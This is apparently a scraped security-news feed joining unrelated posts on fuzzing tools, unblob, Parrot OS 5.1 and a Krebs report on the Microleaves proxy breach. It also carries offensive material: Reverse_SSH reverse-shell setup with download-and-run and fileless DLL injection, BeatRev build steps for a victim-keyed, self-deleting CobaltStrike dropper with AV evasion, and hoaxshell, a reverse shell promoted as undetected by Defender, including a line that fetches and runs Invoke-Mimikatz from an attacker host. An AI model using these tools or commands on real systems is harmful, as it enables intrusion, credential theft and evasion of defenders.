In Binary Ninja, this is supported through Settings > Fuzzable > Include non-top level calls and Symbols to Exclude.

Harness Generation

Now that you have found your ideal candidates to fuzz, fuzzable will also help you generate fuzzing harnesses that are (almost) ready to instrument and compile for use with either a file-based fuzzer (ie. AFL++, Honggfuzz) or in-memory fuzzer (libFuzzer). To do so in the CLI:

$ fuzzable analyze --export=report.json <TARGET>

Unblob - Extract Files From Any Kind Of Container Formats

unblob is an accurate, fast, and easy-to-use extraction suite. It parses unknown binary blobs for more than 30 different archive, compression, and file-system formats, extracts their content recursively, and carves out unknown chunks that have not been accounted for.

Unblob is free to use, licensed with the MIT license. It has a Command Line Interface and can be used as a Python library.
This turns unblob into the perfect companion for extracting, analyzing, and reverse engineering firmware images.

See more at https://unblob.org.

Demo

Reverse_SSH - SSH Based Reverse Shell

Want to use SSH for reverse shells? Now you can.

• Manage and connect to reverse shells with native SSH syntax
• Dynamic, local and remote forwarding
• Native SCP and SFTP implementations for retrieving files from your targets
• Full windows shell
• Mutual client & server authentication to create high trust control channels
  And more!

                    +----------------+                 +---------+
                    |                |                 |         |
                    |                |       +---------+   RSSH  |
                    |    Reverse     |       |         |  Client |
                    |  SSH server    |       |         |         |
                    |                |       |         +---------+
+---------+         |                |       |
|         |         |                |       |
| Human   |   SSH   |                |  SSH  |         +---------+
| Client  +-------->+                <-----------------+         |
|         |         |                |       |         |   RSSH  |
+---------+         |                |       |         |  Client |
                    |                |       |         |            |
                    |                |       |         +---------+
                    |                |       |
                    |                |       |
                    +----------------+       |         +---------+
                                             |         |         |
                                             |         |   RSSH  |
                                             +---------+  Client |
                                                       |         |
                                                       +---------+

TL;DR

Setup

Docker:

docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your_external_address>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v data:/data reversessh/reverse_ssh

Manual:

git clone https://github.com/NHAS/reverse_ssh

cd reverse_ssh

make
cd bin/

# start the server
cp ~/.ssh/id_ed25519.pub authorized_keys
./server 0.0.0.0:3232

Running

# copy client to your target then connect it to the server
./client your.rssh.server.com:3232

# Get help text
ssh your.rssh.server.com -p 3232 help

# See clients
ssh your.rssh.server.com -p 3232 ls -t

                                Targets
+------------------------------------------+------------+-------------+
| ID                                       | Hostname   | IP Address  |
+------------------------------------------+------------+-------------+
| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |
+------------------------------------------+------------+-------------+


# Connect to full shell
ssh -J your.rssh.server.com:3232 0f6ffecb15d75574e5e955e014e0546f6e2851ac

# Or using hostname 

ssh -J your.rssh.server.com:3232 root.wombo

Setup Instructions

NOTE: reverse_ssh requires Go 1.17 or higher. Please check you have at least this version via go version

The simplest build command is just:

make

Make will build both the client and server binaries. It will also generate a private key for the client, and copy the corresponding public key to the authorized_controllee_keys file to enable the reverse shell to connect.

Golang allows your to effortlessly cross compile, the following is an example for building windows:

GOOS=windows GOARCH=amd64 make client # will create client.exe

You will need to create an authorized_keys file much like the ssh http://man.he.net/man5/authorized_keys, this contains your public key. This will allow you to connect to the RSSH server.

Alternatively, you can use the --authorizedkeys flag to point to a file.

cp ~/.ssh/id_ed25519.pub authorized_keys
./server 0.0.0.0:3232 #Set the server to listen on port 3232

Put the client binary on whatever you want to control, then connect to the server.

./client your.rssh.server.com:3232

You can then see what reverse shells have connected to you using ls:

ssh your.rssh.server.com -p 3232 ls -t
                                Targets
+------------------------------------------+------------+-------------+
| ID                                       | Hostname   | IP Address  |
+------------------------------------------+------------+-------------+
| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |
+------------------------------------------+------------+-------------+

Then typical ssh commands work, just specify your rssh server as a jump host.

# Connect to full shell
ssh -J your.rssh.server.com:3232 root.wombo

# Run a command without pty
ssh -J your.rssh.server.com:3232 root.wombo help

# Start remote forward 
ssh -R 1234:localhost:1234 -J your.rssh.server.com:3232 root.wombo

# Start dynamic forward 
ssh -D 9050 -J your.rssh.server.com:3232 root.wombo

# SCP 
scp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .

#SFTP
sftp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .

Fancy Features

Default Server

Specify a default server at build time:

$ RSSH_HOMESERVER=your.rssh.server.com:3232 make

# Will connect to your.rssh.server.com:3232, even though no destination is specified
$ bin/client

# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client example.com:3232

Built in Web Server

The RSSH server can also run an HTTP server on the same port as the RSSH server listener which serves client binaries. The server must be placed in the project bin/ folder, as it needs to find the client source.

./server --webserver :3232

# Generate an unnamed link
ssh your.rssh.server.com -p 3232

catcher$ link -h

link [OPTIONS]
Link will compile a client and serve the resulting binary on a link which is returned.
This requires the web server component has been enabled.
	-t	Set number of minutes link exists for (default is one time use)
	-s	Set homeserver address, defaults to server --external_address if set, or server listen address if not.
	-l	List currently active download links
	-r	Remove download link
	--goos	Set the target build operating system (default to runtime GOOS)
	--goarch	Set the target build architecture (default to runtime GOARCH)
	--name	Set link name
	--shared-object	Generate shared object file
  --fingerprint Set RSSH server fingerprint will default to server public key
  --upx   Use upx to compress the final binary (requires upx to be installed)
  --garble	Use ga   rble to obfuscate the binary (requires garble to be installed)

# Build a client binary
catcher$ link --name test
http://your.rssh.server.com:3232/test

Then you can download it as follows:

wget http://your.rssh.server.com:3232/test
chmod +x test
./test

Windows DLL Generation

You can compile the client as a DLL to be loaded with something like Invoke-ReflectivePEInjection. This will need a cross compiler if you are doing this on linux, use mingw-w64-gcc.

CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll

When the RSSH server has the webserver enabled you can also compile it with the link command:

./server --webserver :3232

# Generate an unnamed link
ssh your.rssh.server.com -p 3232

catcher$ link --name windows_dll --shared-object --goos windows
http://your.rssh.server.com:3232/windows_dll

Which is useful when you want to do fileless injection of the rssh client.

SSH Subsystem

The SSH ecosystem allowsy out define and call subsystems with the -s flag. In RSSH this is repurposed to provide special commands for platforms.

All

list Lists avaiable subsystem
sftp: Runs the sftp handler to transfer files

Linux

setgid: Attempt to change group
setuid: Attempt to change user

Windows

service: Installs or removes the rssh binary as a windows service, requires administrative rights

e.g

# Install the rssh binary as a service (windows only)
ssh -J your.rssh.server.com:3232 test-pc.user.test-pc -s service --install

Windows Service Integration

The client RSSH binary supports being run within a windows service and wont time out after 10 seconds. This is great for creating persistent management services.

Full Windows Shell Support

Most reverse shells for windows struggle to generate a shell environment that supports resizing, copying and pasting and all the other features that we're all very fond of. This project uses conpty on newer versions of windows, and the winpty library (which self unpacks) on older versions. This should mean that almost all versions of windows will net you a nice shell.

Webhooks

The RSSH server can send out raw HTTP requests set using the webhook command from the terminal interface.

First enable a webhook:

$ ssh your.rssh.server.com -p 3232
catcher$ webhook --on http://localhost:8080/

Then disconnect, or connect a client, this will when issue a POST request with the following format.

$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip

{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%  

Tuntap

RSSH and SSH support creating tuntap interfaces that allow you to route traffic and create pseudo-VPN. It does take a bit more setup than just a local or remote forward (-L, -R), but in this mode you can send UDP and ICMP.

First set up a tun (layer 3) device on your local machine.

sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 172.16.0.1/24 dev tun0
sudo ip link set dev tun0 up

# This will defaultly route all non-local network traffic through the tunnel
sudo ip route add 0.0.0.0/0 via 172.16.0.1 dev tun0

Install a client on a remote machine, this will not work if you have your RSSH client on the same host as your tun device.

ssh -J your.rssh.server.com:3232 user.wombo -w 0:any

This has some limitations, it is only able to send UDP/TCP/ICMP, and not arbitrary layer 3 protocols. ICMP is best effort and may use the remote hosts ping tool, as ICMP sockets are privileged on most machines. This also does not support tap devices, e.g layer 2 VPN, as this would require administrative access.

Help

Garble

To enable the --garble flag in the link command you must install garble, a system for obfuscating golang binaries. However the @latest release has a bug that causes panics with generic code.
If you are installing this manually use the following:

go install mvdan.cc/garble@f9d9919

Then make sure that the go/bin/ directory is in your $PATH

Permission denied (publickey).

Unfortunately the golang crypto/ssh upstream library does not support rsa-sha2-* algorithms, and work is currently ongoing here:

golang/go#49952

So until that work is completed, you will have to generate a different (non-rsa) key. I recommend the following:

ssh-keygen -t ed25519

Windows and SFTP

Due to the limitations of SFTP (or rather the library Im using for it). Paths need a little more effort on windows.

sftp -r -J your.rssh.server.com:3232 test-pc.user.test-pc:'/C:/Windows/system32'

Note the / before the starting character.

Foreground vs Background (Important note about clients)

By default, clients will run in the background. When started they will execute a new background instance (thus forking a new child process) and then the parent process will exit. If the fork is successful the message "Ending parent" will be printed.

This has one important ramification: once in the background a client will not show any output, including connection failure messages. If you need to debug your client, use the --foreground flag.

Parrot 5.1 - Security GNU/Linux Distribution Designed with Cloud Pentesting and IoT Security in Mind

Parrot OS 5.1 is officially released. We're proud to say that the new version of Parrot OS 5.1 is available for download; this new version includes a lot of improvements and updates that makes the distribution more performing and more secure.

How do I get Parrot OS?

You can download Parrot OS by clicking here and, as always, we invite you to never trust third part and unofficial sources.

If you need any help or in case the direct downloads don't work for you, we also provide official Torrent files, which can circumvent firewalls and network restrictions in most cases.

How do I upgrade from a previous version?

First of all, we always suggest to update your version for being sure that is stable and functional. You can upgrade an existing system via APT using one of the following commands:

• sudo parrot-upgrade

or

• sudo apt update && sudo apt full-upgrade

Even if we recommend to always update your version, it is also recommended to do a backup and re-install the latest version to have a cleaner and more reliable user experience, especially if you upgrade from a very old version of parrot.

What's new in Parrot OS 5.1

New kernel 5.18.

You can find all the infos about the new Kernel 5.18 by clickig on this link.

Updated docker containers

Our docker offering has been revamped! We now provide our dedicated parrot.run image registry along with the default docker.io one.

All our images are now natively multiarch, and support amd64 and arm64 architectures.

Our containers offering was updated as well, and we are committed to further improve it.

Run docker run --rm -ti --network host -v $PWD/work:/work parrot.run/core and give our containers a try without having to install the system, or visit our Docker images page to explore the other containers we offer.

Updated backports.

Several packages were updated and backported, like the new Golang 1.19 or Libreoffice 7.4. This is part of our commitment to provide the latest version of every most important software while choosing a stable LTS release model.

To make sure to have all the latest packages installed from our backports channel, use the following commands:

• sudo apt update
• sudo apt full-upgrade -t parrot-backports

System updates

The system has received important updates to some opf its key packages, like parrot-menu, which now provides additional launchers to our newly imported tools; or parrot-core, which now provides a new firefox profile with improved security hardening, plus some minor bugfixes to our zshrc configuration.

Firefox profile overhault

As mentioned earlier, our Firefox profile has received a major update that significantly improves the overall privacy and security.

Our bookmarks collection has been revamped, and now includes new resources, including OSINT services, new learning sources and other useful resources for hackers, developers, students and security researchers.

We have also boosted our effort to avoid Mozilla telemetry and bring DuckDuckGo back as the default search engine, while we are exploring other alternatives for the future.

Tools updates

Most of our tools have received major version updates, especially our reverse engineering tools, like rizin and rizin-cutter.

Important updates involved metasploit, exploitdb and other popular tools as well.

New AnonSurf 4.0

The new AnonSurf 4 represents a major upgrade for our popular anonymity tool.

Anonsurf is our in-house anonymity solution that routes all the system traffic through TOR automatically without having to set up proxy settings for each individua program, and preventing traffic leaking in most cases.

The new version provides significant fixes and reliability updates, fully supports debian systems without the old resolvconf setup, has a new user interface with improved system tray icon and settings dialog window, and offers a better overall user experience.

Parrot IoT improvements

Our IoT version now implements significant performance improvements for the various Raspberry Pi boards, and finally includes Wi-Fi support for the Raspberry Pi 400 board.

The Parrot IoT offering has also been expanded, and it now offers Home and Security editions as well, with a full MATE desktop environment exactly like the desktop counterpart.

Architect Edition improvements

Our popular Architect Edition now implements some minor bugfixes and is more reliable than ever.

The Architect Edition is a special edition of Parrot that enables the user to install a barebone Parrot Core system, and then offers a selection of additional modules to further customize the system.

You can use Parrot Architect to install other desktop environments like KDE, GNOME or XFCE, or to install a specific selection of tools.

New infrastructure powered by Parrot and Kubernetes

The Architect Edition is also used internally by the Parrot Engineering Team to install Parrot Server Edition on all the servers that power our infrastructure, which is officially 100% powered by Parrot and Kubernetes.

This is a major change in the way we handle our infrastructure, which enables us to implement better autoscaling, easier management, smaller attack surface and an overall better network, with the improved scalability and security we were looking for.

BeatRev - POC For Frustrating/Defeating Malware Analysts

BeatRev Version 2

Disclaimer/Liability

The work that follows is a POC to enable malware to "key" itself to a particular victim in order to frustrate efforts of malware analysts.

I assume no responsibility for malicious use of any ideas or code contained within this project. I provide this research to further educate infosec professionals and provide additional training/food for thought for Malware Analysts, Reverse Engineers, and Blue Teamers at large.

TLDR

The first time the malware runs on a victim it AES encrypts the actual payload(an RDLL) using environmental data from that victim. Each subsequent time the malware is ran it gathers that same environmental info, AES decrypts the payload stored as a byte array within the malware, and runs it. If it fails to decrypt/the payload fails to run, the malware deletes itself. Protection against reverse engineers and malware analysts.

Updated 6 JUNE 2022

I didn't feel finished with this project so I went back and did a fairly substantial re-write. The original research and tradecraft may be found Here.

Major changes are as follows:

1. I have released all source code
2. I integrated Stephen Fewer's ReflectiveDLL into the project to replace Stage2
3. I formatted some of the byte arrays in this project into string format and parse them with UuidFromStringA. This Repo was used as a template. This was done to lower entropy of Stage0 and Stage1
4. Stage0 has had a fair bit of AV evasion built into it. Thanks to Cerbersec's Project Ares for inspiration
5. The builder application to produce Stage0 has been included

There are quite a few different things that could be taken from the source code of this project for use elsewhere. Hopefully it will be useful for someone.

Problems with Original Release and Mitigations

There were a few shortcomings with the original release of BeatRev that I decided to try and address.

Stage2 was previously a standalone executable that was stored as the alternate data stream(ADS) of Stage1. In order to acheive the AES encryption-by-victim and subsequent decryption and execution, each time Stage1 was ran it would read the ADS, decrypt it, write back to the ADS, call CreateProcess, and then re-encrypt Stage2 and write it back to disk in the ADS. This was a lot of I/O operations and the CreateProcess call of course wasn't great.

I happened to come upon Steven Fewer's research concerning Reflective DLL's and it seemed like a good fit. Stage2 is now an RDLL; our malware/shellcode runner/whatever we want to protect can be ported to RDLL format and stored as a byte array within Stage1 that is then decrypted on runtime and executed by Stage1. This removes all of the I/O operations and the CreateProcess call from Version1 and is a welcome change.

Stage1 did not have any real kind of AV evasion measures programmed in; this was intentional, as it is extra work and wasn't really the point of this research. During the re-write I took it as an added challenge and added API-hashing to remove functions from the Import Address Table of Stage1. This has helped with detection and Stage1 has a 4/66 detection rate on VirusTotal. I was comfortable uploading Stage1 given that is is already keyed to the original box it was ran on and the file signature constantly changes because of the AES encryption that happens.

I recently started paying attention to entropy as a means to detect malware; to try and lower the otherwise very high entropy that a giant AES encrypted binary blob gives an executable I looked into integrating shellcode stored as UUID's. Because the binary is stored in string representation, there is lower overall entropy in the executable. Using this technique The entropy of Stage0 is now ~6.8 and Stage1 ~4.5 (on a max scale of 8).

Finally it is a giant chore to integrate and produce a complete Stage0 due to all of the pieces that must be manipulated. To make this easier I made a builder application that will ingest a Stage0.c template file, a Stage1 stub, a Stage2 stub, and a raw shellcode file (this was build around Stage2 being a shellcode runner containing CobaltStrike shellcode) and produce a compiled Stage0 payload for use on target.

Technical Details

The Reflective DLL code from Stephen Fewer contains some Visual Studio compiler-specific instructions; I'm sure it is possible to port the technique over to MingW but I do not have the skills to do so. The main problem here is that the CobaltStrike shellcode (stageless is ~265K) needs to go inside the RDLL and be compiled. To get around this and integrate it nicely with the rest of the process I wrote my Stage2 RDLL to contain a global variable chunk of memory that is the size of the CS shellcode; this ~265K chunk of memory has a small placeholder in it that can be located in the compiled binary. The code in src/Stage2 has this added already.

Once compiled, this Stage2stub is transfered to kali where a binary patch may be performed to stick the real CS shellcode into the place in memory that it belongs. This produces the complete Stage2.

To avoid the I/O and CreateProcess fiasco previously described, the complete Stage2 must also be patched into the compiled Stage1 by Stage0; this is necessary in order to allow Stage2 to be encrypted once on-target in addition to preventing Stage2 from being stored separately on disk. The same concept previously described for Stage2 is conducted by Stage0 on target in order to assemble the final Stage1 payload. It should be noted that the memmem function is used in order to locate the placeholder within each stub; this function is no available on Windows, so a custom implementation was used. Thanks to Foxik384 for his code.

In order to perform a binary patch, we must allocate the required memory up front; this has a compounding effect, as Stage1 must now be big enough to also contain Stage2. With the added step of converting Stage2 to a UUID string, Stage2 balloons in size as does Stage1 in order to hold it. A stage2 RDLL with a compiled size of ~290K results in a Stage0 payload of ~1.38M, and a Stage1 payload of ~700K.

The builder application only supports creating x64 EXE's. However with a little more work in theory you could make Stage0 a DLL, as well as Stage1, and have the whole lifecycle exist as a DLL hijack instead of a standalone executable.

Instructions

These instructions will get you on your way to using this POC.

1. Compile Builder using gcc -o builder src/Builder/BeatRevV2Builder.c
2. Modify sc_length variable in src/Stage2/dll/src/ReflectiveDLL.c to match the length of raw shellcode file used with builder ( I have included fakesc.bin for example)
3. Compile Stage2 (in visual studio, ReflectiveDLL project uses some VS compiler-specific instructions)
4. Move compiled stage2stub.dll back to kali, modify src/Stage1/newstage1.c and define stage2size as the size of stage2stub
5. Compile stage1stub using x86_64-w64-mingw32-gcc newstage1.c -o stage1stub.exe -s -DUNICODE -Os -L /usr/x86_64-w64-mingw32/lib -l:librpcrt4.a
6. Run builder using syntax: ./builder src/Stage0/newstage0_exe.c x64 stage1stub.exe stage2stub.dll shellcode.bin
7. Builder will produce dropper.exe. This is a formatted and compiled Stage0 payload for use on target.

BeatRev Original Release

Introduction

About 6 months ago it occured to me that while I had learned and done a lot with malware concerning AV/EDR evasion, I had spent very little time concerned with trying to evade or defeat reverse engineering/malware analysis. This was for a few good reasons:

1. I don't know anything about malware analysis or reverse engineering
2. When you are talking about legal, sanctioned Red Team work there isn't really a need to try and frustrate or defeat a reverse engineer because the activity should have been deconflicted long before it reaches that stage.

Nonetheless it was an interesting thought experiment and I had a few colleagues who DO know about malware analysis that I could bounce ideas off of. It seemed a challenge of a whole different magnitude compared to AV/EDR evasion and one I decided to take a stab at.

Premise

My initial premise was that the malware, on the first time of being ran, would somehow "key" itself to that victim machine; any subsequent attempts to run it would evaluate something in the target environment and compare it for a match in the malware. If those two factors matched, it executes as expected. If they do not (as in the case where the sample had been transfered to a malware analysts sandbox), the malware deletes itself (Once again heavily leaning on the work of LloydLabs and his delete-self-poc).

This "key" must be something "unique" to the victim computer. Ideally it will be a combination of several pieces of information, and then further obfuscated. As an example, we could gather the hostname of the computer as well as the amount of RAM installed; these two values can then be concatenated (e.g. Client018192MB) and then hashed using a user-defined function to produce a number (e.g. 5343823956).

There are a ton of choices in what information to gather, but thought should be given as to what values a Blue Teamer could easily spoof; a MAC address for example may seem like an attractive "unique" identifier for a victim, however MAC addresses can easily be set manually in order for a Reverse Engineer to match their sandbox to the original victim. Ideally the values chosen and enumerated will be one that are difficult for a reverse engineer to replicate in their environment.

With some self-deletion magic, the malware could read itself into a buffer, locate a placeholder variable and replace it with this number, delete itself, and then write the modified malware back to disk in the same location. Combined with an if/else statement in Main, the next time the malware runs it will detect that it has been ran previously and then go gather the hostname and amount of RAM again in order to produce the hashed number. This would then be evaluated against the number stored in the malware during the first run (5343823956). If it matches (as is the case if the malware is running on the same machine as it originally did), it executes as expected however if a different value is returned it will again call the self-delete function in order to remove itself from disk and protect the author from the malware analyst.

This seemed like a fine idea in theory until I spoke with a colleague who has real malware analysis and reverse engineering experience. I was told that a reverse engineer would be able to observe the conditional statement in the malware (if ValueFromFirstRun != GetHostnameAndRAM()), and seeing as the expected value is hard-coded on one side of the conditional statement, simply modify the registers to contain the expected value thus completely bypassing the entire protection mechanism.

This new knowledge completely derailed the thought experiment and seeing as I didn't really have a use for a capability like this in the first place, this is where the project stopped for ~6 months.

Overview

This project resurfaced a few times over the intervening 6 months but each time was little more than a passing thought, as I had gained no new knowledge of reversing/malware analysis and again had no need for such a capability. A few days ago the idea rose again and while still neither of those factors have really changed, I guess I had a little bit more knowledge under my belt and couldn't let go of the idea this time.

With the aforementioned problem regarding hard-coding values in mind, I ultimately decided to go for a multi-stage design. I will refer to them as Stage0, Stage1, and Stage2.

Stage0: Setup. Ran on initial infection and deleted afterwards

Stage1: Runner. Ran each subsequent time the malware executes

Stage2: Payload. The malware you care about protecting. Spawns a process and injects shellcode in order to return a Beacon.

Lifecycle

Stage0

Stage0 is the fresh executable delivered to target by the attacker. It contains Stage1 and Stage2 as AES encrypted byte arrays; this is done to protect the malware in transit, or should a defender somehow get their hands on a copy of Stage0 (which shouldn't happen). The AES Key and IV are contained within Stage0 so in reality this won't protect Stage1 or Stage2 from a competent Blue Teamer.

Stage0 performs the following actions:

1. Sandbox evasion.
2. Delete itself from disk. It is still running in memory.
3. Decrypts Stage1 using stored AES Key/IV and writes to disk in place of Stage0.
4. Gathers the processor name and the Microsoft ProductID.
5. Hashes this value and then pads it to fit a 16 byte AES key length. This value reversed serves as the AES IV.
6. Decrypts Stage2 using stored AES Key/IV.
7. Encrypts Stage2 using new victim-specific AES Key/IV.
8. Writes Stage2 to disk as an alternate data stream of Stage1.

At the conclusion of this sequence of events, Stage0 exits. Because it was deleted from disk in step 2 and is no longer running in memory, Stage0 is effectively gone; Without prior knowledge of this technique the rest of the malware lifecycle will be a whole lot more confusing than it already is.

In step 4 the processor name and Microsoft ProductID are gathered; the ProductID is retreived from the Registry, and this value can be manually modified which presents and easy opportunity for a Blue Teamer to match their sandbox to the target environment. Depending on what environmental information is gathered this can become easier or more difficult.

Stage1

Stage1 was dropped by Stage0 and exists in the same exact location as Stage0 did (to include the name). Stage2 is stored as an ADS of Stage1. When the attacker/persistence subsequently executes the malware, they are executing Stage1.

Stage1 performs the following actions:

1. Sandbox evasion.
2. Gathers the processor name and the Microsoft ProductID.
3. Hashes this value and then pads it to fit a 16 byte AES key length. This value reversed serves as the AES IV.
4. Reads Stage2 from Stage1's ADS into memory.
5. Decrypts Stage2 using the victim-specific AES Key/IV.
6. Checks first two bytes of decryted Stage2 buffer; if not MZ (unsuccessful decryption), delete Stage1/Stage2, exit.
7. Writes decrypted Stage2 back to disk as ADS of Stage1
8. Calls CreateProcess on Stage2. If this fails (unsuccessful decryption), delete Stage1/Stage2, exit.
9. Sleeps 5 seconds to allow Stage2 to execute + exit so it can be overwritten.
10. Encrypts Stage2 using victim-specific AES Key/IV
11. Writes encrypted Stage2 back to disk as ADS of Stage1.

Note that Stage2 MUST exit in order for it to be overwritten; the self-deletion trick does not appear to work on files that are already ADS's, as the self-deletion technique relies on renaming the primary data stream of the executable. Stage2 will ideally be an inject or spawn+inject executable.

There are two points that Stage1 could detect that it is not being ran from the same victim and delete itself/Stage2 in order to protect the threat actor. The first is the check for the executable header after decrypting Stage2 using the gathered environmental information; in theory this step could be bypassed by a reverse engineer, but it is a first good check. The second protection point is the result of the CreateProcess call- if it fails because Stage2 was not properly decrypted, the malware is similiary deleted. The result of this call could also be modified to prevent deletion by the reverse engineer, however this doesn't change the fact that Stage2 is encrypted and inaccessible.

Stage2

Stage2 is the meat and potatoes of the malware chain; It is a fully fledged shellcode runner/piece of malware itself. By encrypting and protecting it in the way that we have, the actions of the end state malware are much better obfuscated and protected from reverse engineers and malware analysts. During development I used one of my existing shellcode runners containing CobaltStrike shellcode, but this could be anything the attacker wants to run and protect.

Impact, Mitigation, and Further Work

So what is actually accomplished with a malware lifecycle like this? There are a few interesting quirks to talk about.

Alternate data streams are a feature unique to NTFS file systems; this means that most ways of transfering the malware after initial infection will strip and lose Stage2 because it is an ADS of Stage1. Special care would have to be given in order to transfer the sample in order to preserve Stage2, as without it a lot of reverse engineers and malware analysts are going to be very confused as to what is happening. RAR archives are able to preserve ADS's and tools like 7Z and Peazip can extract files and their ADS's.

As previously mentioned, by the time malware using this lifecycle hits a Blue Teamer it should be at Stage1; Stage0 has come and gone, and Stage2 is already encrypted with the environmental information gathered by stage 0. Not knowing that Stage0 even existed will add considerable uncertainty to understanding the lifecycle and decrypting Stage2.

In theory (because again I have no reversing experience), Stage1 should be able to be reversed (after the Blue Teamers rolls through a few copies of it because it keeps deleting itself) and the information that Stage1 gathers from the target system should be able to be identified. Provided a well-orchestrated response, Blue Team should be able to identify the victim that the malware came from and go and gather that information from it and feed it into the program so that it may be transformed appropriately into the AES Key/IV that decrypts Stage2. There are a lot "ifs" in there however related to the relative skill of the reverse engineer as well as the victim machine being available for that information to be recovered.

Application Whitelisting would significantly frustrate this lifecycle. Stage0/Stage1 may be able to be side loaded as a DLL, however I suspect that Stage2 as an ADS would present some issues. I do not have an environment to test malware against AWL nor have I bothered porting this all to DLL format so I cannot say. I am sure there are creative ways around these issues.

I am also fairly confident that there are smarter ways to run Stage2 than dropping to disk and calling CreateProcess; Either manually mapping the executable or using a tool like Donut to turn it into shellcode seem like reasonable ideas.

Code and binary

During development I created a Builder application that Stage1 and Stage2 may be fed to in order to produce a functional Stage0; this will not be provided however I will be providing most of the source code for stage1 as it is the piece that would be most visible to a Blue Teamer. Stage0 will be excluded as an exercise for the reader, and stage2 is whatever standalone executable you want to run+protect. This POC may be further researched at the effort and discretion of able readers.

I will be providing a compiled copy of this malware as Dropper64.exe. Dropper64.exe is compiled for x64. Dropper64.exe is Stage0; it contains Stage1 and Stage2. On execution, Stage1 and Stage2 will drop to disk but will NOT automatically execute, you must run Dropper64.exe(now Stage1) again. Stage2 is an x64 version of calc.exe. I am including this for any Blue Teamers who want to take a look at this, but keep in mind in an incident response scenario 99& of the time you will be getting Stage1/Stage2, Stage0 will be gone.

Conclusion

This was an interesting pet project that ate up a long weekend. I'm sure it would be a lot more advanced/more complete if I had experience in a debugger and disassembler, but you do the best with what you have. I am eager to hear from Blue Teamers and other Malware Devs what they think. I am sure I have over-complicatedly re-invented the wheel here given what actual APT's are doing, but I learned a few things along the way. Thank you for reading!

Hoaxshell - An Unconventional Windows Reverse Shell, Currently Undetected By Microsoft Defender And Various Other AV Solutions, Solely Based On Http(S) Traffic

hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it's own PowerShell payload and it supports encryption (ssl).

So far, it has been tested on fully updated Windows 11 Enterprise and Windows 10 Pro boxes (see video and screenshots).

Video Presentation

Screenshots

Find more screenshots here.

Installation

git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Usage

Basic shell session over http

sudo python3 hoaxshell.py -s <your_ip>

When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the "rawpayload" prompt command or start hoaxshell with the -r argument. After the payload has been executed on the victim, you'll be able to run PowerShell commands against it.

Encrypted shell session (https):

# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation.

Grab session mode

In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine.

sudo python3 hoaxshell.py -s <your_ip> -g

Important: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc).

Limitations

The shell is going to hang if you execute a command that initiates an interactive session. Example:

# this command will execute succesfully and you will have no problem: 
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe

So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands:

hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context.

Future

I am currently working on some auxiliary-type prompt commands to automate parts of host enumeration.

Breach Exposes Users of Microleaves Proxy Service

Microleaves, a ten-year-old proxy service that lets customers route their web traffic through millions of Microsoft Windows computers, recently fixed a vulnerability in their website that exposed their entire user database. Microleaves claims its proxy software is installed with user consent, but data exposed in the breach shows the service has a lengthy history of being supplied with new proxies by affiliates incentivized to distribute the software any which way they can — such as by secretly bundling it with other titles.

The Microleaves proxy service, which is in the process of being rebranded to Shifter[.[io.

Launched in 2013, Microleaves is a service that allows customers to route their Internet traffic through PCs in virtually any country or city around the globe. Microleaves works by changing each customer’s Internet Protocol (IP) address every five to ten minutes.

The service, which accepts PayPal, Bitcoin and all major credit cards, is aimed primarily at enterprises engaged in repetitive, automated activity that often results in an IP address being temporarily blocked — such as data scraping, or mass-creating new accounts at some service online.

In response to a report about the data exposure from KrebsOnSecurity, Microleaves said it was grateful for being notified about a “very serious issue regarding our customer information.”

Abhishek Gupta is the PR and marketing manager for Microleaves, which he said in the process of being rebranded to “Shifter.io.” Gupta said the report qualified as a “medium” severity security issue in Shifter’s brand new bug bounty program (the site makes no mention of a bug bounty), which he said offers up to $2,000 for reporting data exposure issues like the one they just fixed. KrebsOnSecurity declined the offer and requested that Shifter donate the amount to the Electronic Frontier Foundation (EFF), a digital rights group.

From its inception nearly a decade ago, Microleaves has claimed to lease between 20-30 million IPs via its service at any time. Riley Kilmer, co-founder of the proxy-tracking service Spur.us, said that 20-30 million number might be accurate for Shifter if measured across a six-month time frame. Currently, Spur is tracking roughly a quarter-million proxies associated with Microleaves/Shifter each day, with a high rate of churn in IPs.

Early on, this rather large volume of IP addresses led many to speculate that Microleaves was just a botnet which was being resold as a commercial proxy service.

Proxy traffic related to top Microleaves users, as exposed by the website’s API.

